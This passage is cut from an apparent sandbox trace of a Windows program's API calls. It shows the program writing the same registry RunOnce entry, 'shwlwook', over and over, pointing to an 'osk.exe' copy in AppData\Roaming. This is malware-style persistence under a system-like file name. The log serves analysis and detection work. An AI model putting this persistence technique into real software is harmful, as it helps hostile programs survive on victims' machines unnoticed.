(lpMsg=0x95f69c) returned 0x0 [0261.677] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.677] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.677] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.678] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.678] RegCloseKey (hKey=0x14c) returned 0x0 [0261.678] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.678] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.683] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.683] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.684] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.684] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.684] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.685] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.685] RegCloseKey (hKey=0x14c) returned 0x0 [0261.685] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.685] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.699] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.699] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.699] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.700] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.700] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.700] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.700] RegCloseKey (hKey=0x14c) returned 0x0 [0261.701] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.701] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.715] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.715] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.715] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.716] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.716] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.716] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.716] RegCloseKey (hKey=0x14c) returned 0x0 [0261.716] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.717] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.732] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.732] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.732] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.733] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.733] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.733] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.733] RegCloseKey (hKey=0x14c) returned 0x0 [0261.734] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.734] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.769] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.769] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.769] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.770] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.770] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.770] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.770] RegCloseKey (hKey=0x14c) returned 0x0 [0261.771] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.771] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.777] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.777] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.778] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.778] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.778] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.779] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.779] RegCloseKey (hKey=0x14c) returned 0x0 [0261.779] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.779] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.793] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.793] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.793] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.794] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.794] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.794] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.794] RegCloseKey (hKey=0x14c) returned 0x0 [0261.794] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.795] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.808] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.808] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.809] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.809] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.809] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.810] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.810] RegCloseKey (hKey=0x14c) returned 0x0 [0261.810] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.810] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.824] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.824] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.824] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.825] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.825] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.825] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.825] RegCloseKey (hKey=0x14c) returned 0x0 [0261.825] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.826] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.840] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.840] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.840] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.841] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.841] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.841] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.841] RegCloseKey (hKey=0x14c) returned 0x0 [0261.841] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.842] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.855] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.855] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.856] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.856] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.856] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.857] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.857] RegCloseKey (hKey=0x14c) returned 0x0 [0261.857] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.857] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.871] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.871] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.872] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.872] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.872] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.872] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.873] RegCloseKey (hKey=0x14c) returned 0x0 [0261.873] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.873] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.887] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.887] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.887] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.888] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.888] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.888] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.888] RegCloseKey (hKey=0x14c) returned 0x0 [0261.888] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.889] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.910] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.910] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.910] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.911] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.911] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.911] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.911] RegCloseKey (hKey=0x14c) returned 0x0 [0261.912] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.912] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.918] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.918] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.918] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.919] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.919] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.919] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.919] RegCloseKey (hKey=0x14c) returned 0x0 [0261.919] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.920] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.942] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.942] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.943] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.943] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.943] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.944] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.944] RegCloseKey (hKey=0x14c) returned 0x0 [0261.944] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.944] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.954] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.954] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.955] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.955] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.956] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.956] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.956] RegCloseKey (hKey=0x14c) returned 0x0 [0261.956] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.957] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.970] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.970] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.971] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.971] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.971] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.972] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.972] RegCloseKey (hKey=0x14c) returned 0x0 [0261.972] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.972] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.981] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.981] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.981] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.982] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.982] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0261.982] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0261.982] RegCloseKey (hKey=0x14c) returned 0x0 [0261.982] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0261.983] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0261.998] TranslateMessage (lpMsg=0x95f69c) returned 0 [0261.999] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0261.999] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0261.999] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0261.999] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.000] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.001] RegCloseKey (hKey=0x14c) returned 0x0 [0262.001] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0262.002] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0262.029] TranslateMessage (lpMsg=0x95f69c) returned 0 [0262.033] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0262.033] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0262.034] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0262.034] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0262.034] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0262.034] RegCloseKey 